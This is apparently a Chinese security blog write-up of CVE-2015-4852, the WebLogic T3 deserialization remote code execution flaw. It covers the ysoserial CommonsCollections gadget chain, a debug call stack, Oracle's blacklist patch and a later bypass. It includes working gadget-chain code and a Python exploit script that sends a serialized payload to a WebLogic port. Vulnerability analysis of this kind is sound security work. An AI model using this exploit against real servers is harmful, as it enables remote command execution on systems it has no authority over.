Weblogic反序列化开篇:cve_2015_4852
Weblogic T3反序列化开篇:CVE-2015-4852
0x00 漏洞描述
即 JAVA Apache-CommonsCollections 序列化RCE漏洞
。
0x01 漏洞分析
Weblogic: 10.3.6.0
JDK:1.6
参考1
已经非常详细地介绍了这个漏洞的原理。其中涉及三个比较重要的部分:1) 入口反序列化点 2)利用链 3)T3协议 下面详细介绍一下。
入口反序列化点
这个漏洞/PoC选用的反序列化入口点是AnnotationInvocationHandler::readObject
,一来可以被外界访问;二来这个入口点跟利用链是紧密相关的。
利用链
注意本小节是直接将参考1
中原文部分拷贝过来,稍微排版一下。
利用链的核心代码来自参考3
,如下:
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
信息 1
我们先来看一下 Transformer 接口,该接口仅定义了一个方法 transform(Object input):
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
信息 2
我们可以看到该方法的作用是:给定一个 Object 对象经过转换后也返回一个 Object,该 PoC 中利用的是三个实现类:ChainedTransformer
,ConstantTransformer
,InvokerTransformer
首先看 InvokerTransformer 类中的 transform() 方法:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
信息 3
可以看到该方法中采用了反射的方法进行函数调用,Input 参数为要进行反射的对象 iMethodName , iParamTypes 为调用的方法名称以及该方法的参数类型,iArgs 为对应方法的参数,这三个参数均为可控参数:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
信息 4
接下来我们看一下 ConstantTransformer 类的 transform() 方法:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
信息 5
该方法很简单,就是返回 iConstant 属性,该属性也为可控参数。
最后一个ChainedTransformer类很关键,我们先看一下它的构造函数:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
信息 6
我们可以看出它传入的是一个 Transformer 数组,接下来看一下它的 transform() 方法:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
信息 7
这里使用了 for 循环来调用 Transformer 数组的 transform() 方法,并且使用了 object 作为后一个调用transform() 方法的参数。
现在再回顾一下ysoserial中的利用链代码,形成了一个完美的调用链,利用Java的反射机制执行了命令。
至于链本身的逻辑,见参考 6
,这里提取关键信息作参考:
- 构造一个
ConstantTransformer
,把Runtime
的Class
对象传进去,在transform()
时,始终会返回这个对象- 构造一个
InvokerTransformer
,待调用方法名为getMethod
,参数为getRuntime
,在transform()
时,传入1的结果,此时的input
应该是java.lang.Runtime
,但经过getClass()
之后,cls
为java.lang.Class
,之后getMethod()
只能获取java.lang.Class
的方法,因此才会定义的待调用方法名为getMethod
,然后其参数才是getRuntime
,它得到的是getMethod
这个方法的Method
对象,invoke()
调用这个方法,最终得到的才是getRuntime
这个方法的Method
对象- 构造一个
InvokerTransformer
,待调用方法名为invoke
,参数为空,在transform()
时,传入2的结果,同理,cls
将会是java.lang.reflect.Method
,再获取并调用它的invoke
方法,实际上是调用上面的getRuntime()
拿到Runtime
对象- 构造一个
InvokerTransformer
,待调用方法名为exec
,参数为命令字符串,在transform()
时,传入3的结果,获取java.lang.Runtime
的exec
方法并传参调用- 最后把它们组装成一个数组全部放进
ChainedTransformer
中,在transform()
时,会将前一个元素的返回结果作为下一个的参数,刚好满足需求
但此时,我们还没法利用,得在weblogic中找个点能触发ChainedTransformer的transform方法。ysoserial给出的点是AnnotationInvocationHandler::readObject
。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator(); ---8.1
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
信息 8
在8.1处,会形成调用链,到transform。可以参考信息 1
处的注释信息,也可以参考下一小节中的调试信息。
###T3协议
见参考2
。
需要关注的是下一小节的调用栈,可以看到T3协议进来,Weblogic的处理流程。
0x02 漏洞调试
在 ChainedTransformer::transform
设定一个断点,看看调用栈:
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:51, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57 (com.sun.proxy)
readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
信息 9
此时ChainedTransformer
对应为:
信息 10
利用Java反射机制执行了touch /tmp/exp
。
0x03 PoC
PoC见参考2
,这里贴出来:
#!/usr/bin/env python
# coding: utf-8
import socket
import struct
import time
def exp(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
server_address = (host, int(port))
data = ""
try:
sock.connect(server_address)
# Send headers
#headers = 't3 12.2.1nAS:255nHL:19nn'.format(port)
#headers = bytes(headers, encoding = "utf8")
#sock.sendall(headers)
#time.sleep(1)
#data = sock.recv(1024)
xx = bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')
sock.send(xx)
time.sleep(1)
sock.recv(1024)
# java -jar ysoserial.jar CommonsCollections1 "touch /tmp/exp" > ./tmp
f = open('./tmp', 'rb')
payload_obj = f.read()
f.close()
payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000"
payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078"
payload1=bytes.fromhex(payload1)
payload3 = bytes.fromhex(payload3)
payload2 = payload_obj
payload = payload1 + payload2 + payload3
payload = struct.pack('>I', len(payload)) + payload[4:]
sock.send(payload)
data = sock.recv(4096)
except socket.error as e:
print (u'socket 连接异常!')
finally:
sock.close()
exp('172.16.100.97', 7001)
信息 11
PoC中的利用链主要使用参考3
中的ysoserial生成。
注意PoC中T3握手的代码有更改。
0x04 补丁
参考 5
中有介绍本次补丁在如下三个地方有更新:
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
参考 4
中也有比较详细的介绍。
本小节基于参考信息做个整理。
以weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
为例,其实weblogic.rjvm.MsgAbbrevInputStream.class
也是一样,都是多了checkLegacyBlacklistIfNeeded
的检查。
weblogic/rjvm/InboundMsgAbbrev.class
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
try {
this.checkLegacyBlacklistIfNeeded(descriptor.getName());
} catch (InvalidClassException var4) {
throw var4;
}
Class c = super.resolveClass(descriptor);
if (c == null) {
throw new ClassNotFoundException("super.resolveClass returns null.");
} else {
ObjectStreamClass localDesc = ObjectStreamClass.lookup(c);
if (localDesc != null && localDesc.getSerialVersionUID() != descriptor.getSerialVersionUID()) {
throw new ClassNotFoundException("different serialVersionUID. local: " + localDesc.getSerialVersionUID() + " remote: " + descriptor.getSerialVersionUID());
} else {
return c;
}
}
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] var2 = interfaces;
int var3 = interfaces.length;
for(int var4 = 0; var4 < var3; ++var4) {
String intf = var2[var4];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
信息 12
checkLegacyBlacklistIfNeeded`代码如下:
weblogic/utils/io/FilteringObjectInputStream.class`
protected void checkLegacyBlacklistIfNeeded(String className) throws InvalidClassException {
WebLogicObjectInputFilter.checkLegacyBlacklistIfNeeded(className);
}
信息 13
weblogic/rjvm/InboundMsgAbbrev.class
public static void checkLegacyBlacklistIfNeeded(String className) throws InvalidClassException {
checkInitialized();
if (!isJreFilteringAvailable) {
if (isBlacklistedLegacy(className)) {
throw new InvalidClassException(className, "Unauthorized deserialization attempt");
}
}
}
信息 14
注意这里只有在JRE自带的过滤器不可用的情况下,才会执行isBlacklistedLegacy
。
weblogic/utils/io/oif/WebLogicObjectInputFilter.class
private static boolean isBlacklistedLegacy(String className) {
String normalizedName = normalizeClassName(className);
if (LEGACY_BLACKLIST != null && normalizedName != null) {
if (LEGACY_BLACKLIST.contains(normalizedName)) {
return true;
} else {
String pkgName = null;
try {
pkgName = normalizedName.substring(0, normalizedName.lastIndexOf(46));
} catch (Exception var4) {
return false;
}
return pkgName != null && !pkgName.isEmpty() && LEGACY_BLACKLIST.contains(pkgName);
}
} else {
return false;
}
}
信息 15
这个函数会使用LEGACY_BLACKLIST来检查包名和类名。而LEGACY_BLACKLIST
的赋值来自于:
- DEFAULT_BLACKLIST_CLASSES
- DEFAULT_BLACKLIST_PACKAGES
- blacklist
weblogic/utils/io/oif/WebLogicFilterConfig.class
private void constructLegacyBlacklist(String blacklist, boolean isBlacklistDisabled, boolean isDefaultBlacklistDisabled) {
Set<String> blacklistSet = null;
if (!isBlacklistDisabled) {
blacklistSet = new HashSet(32);
if (!isDefaultBlacklistDisabled) {
String[] var5 = DEFAULT_BLACKLIST_CLASSES;
int var6 = var5.length;
int var7;
String s;
for(var7 = 0; var7 < var6; ++var7) {
s = var5[var7];
blacklistSet.add(s);
}
var5 = DEFAULT_BLACKLIST_PACKAGES;
var6 = var5.length;
for(var7 = 0; var7 < var6; ++var7) {
s = var5[var7];
blacklistSet.add(s);
}
}
if (blacklist != null) {
StringTokenizer st = new StringTokenizer(blacklist, ",");
while(st.hasMoreTokens()) {
String token = st.nextToken();
if (token.startsWith("+")) {
blacklistSet.add(token.substring(1));
} else if (token.startsWith("-")) {
blacklistSet.remove(token.substring(1));
} else {
blacklistSet.add(token);
}
}
}
if (blacklistSet.isEmpty()) {
blacklistSet = null;
}
}
this.BLACKLIST = blacklistSet;
}
信息 16
blacklist
内容来自于weblogic.rmi.blacklist
;前两个来源则比较固定:
private static final String[] DEFAULT_BLACKLIST_PACKAGES = new String[]{"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server", "org.jboss.interceptor.builder", "org.jboss.interceptor.reader", "org.jboss.interceptor.proxy", "org.jboss.interceptor.spi.metadata", "org.jboss.interceptor.spi.model", "com.bea.core.repackaged.springframework.aop.aspectj", "com.bea.core.repackaged.springframework.aop.aspectj.annotation", "com.bea.core.repackaged.springframework.aop.aspectj.autoproxy", "com.bea.core.repackaged.springframework.beans.factory.support", "org.python.core"};
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler", "com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.RemoteObject"};
信息 17
以上就是blacklist的内容,而JRE自带的部分本文暂未介绍(应该是在后面的漏洞中添加的机制),可以见参考 4
。
对于本文所用PoC,在反序列化的时候,weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
中的resolveClass
函数会将PoC中使用的org.apache.commons.collections.functors
包判断为黑。
0x05 绕过
后来又出现了CVE-2016-0638
,这里不多讲,这个CVE其实就是找到了一个新的反序列化点,在weblogic.jms.common.StreamMessageImpl
里的 readExternal()
,readExternal()
有新的ObjectInputStream
和readObject
,把原来的InputStream里面的下一个chunk作为反序列化数据处理了,关键是这里的ObjectInputStream
未添加黑名单匹配,相当于是二次反序列化了。
0x06 参考
- “深入理解 JAVA 反序列化漏洞” _https://paper.seebug.org/312/
- “CVE-2015-4852 Weblogic 反序列化RCE分析” _https://www.chabug.org/audit/1151.html
- “ysoserial” _https://github.com/frohoff/ysoserial
- “从WebLogic看反序列化漏洞的利用与防御” _https://blog.csdn.net/Fly_hps/article/details/83505036
- “缝缝补补的WebLogic:绕过的艺术” _https://www.freebuf.com/vuls/179579.html
- “浅析 Java 序列化和反序列化” _https://paper.seebug.org/792/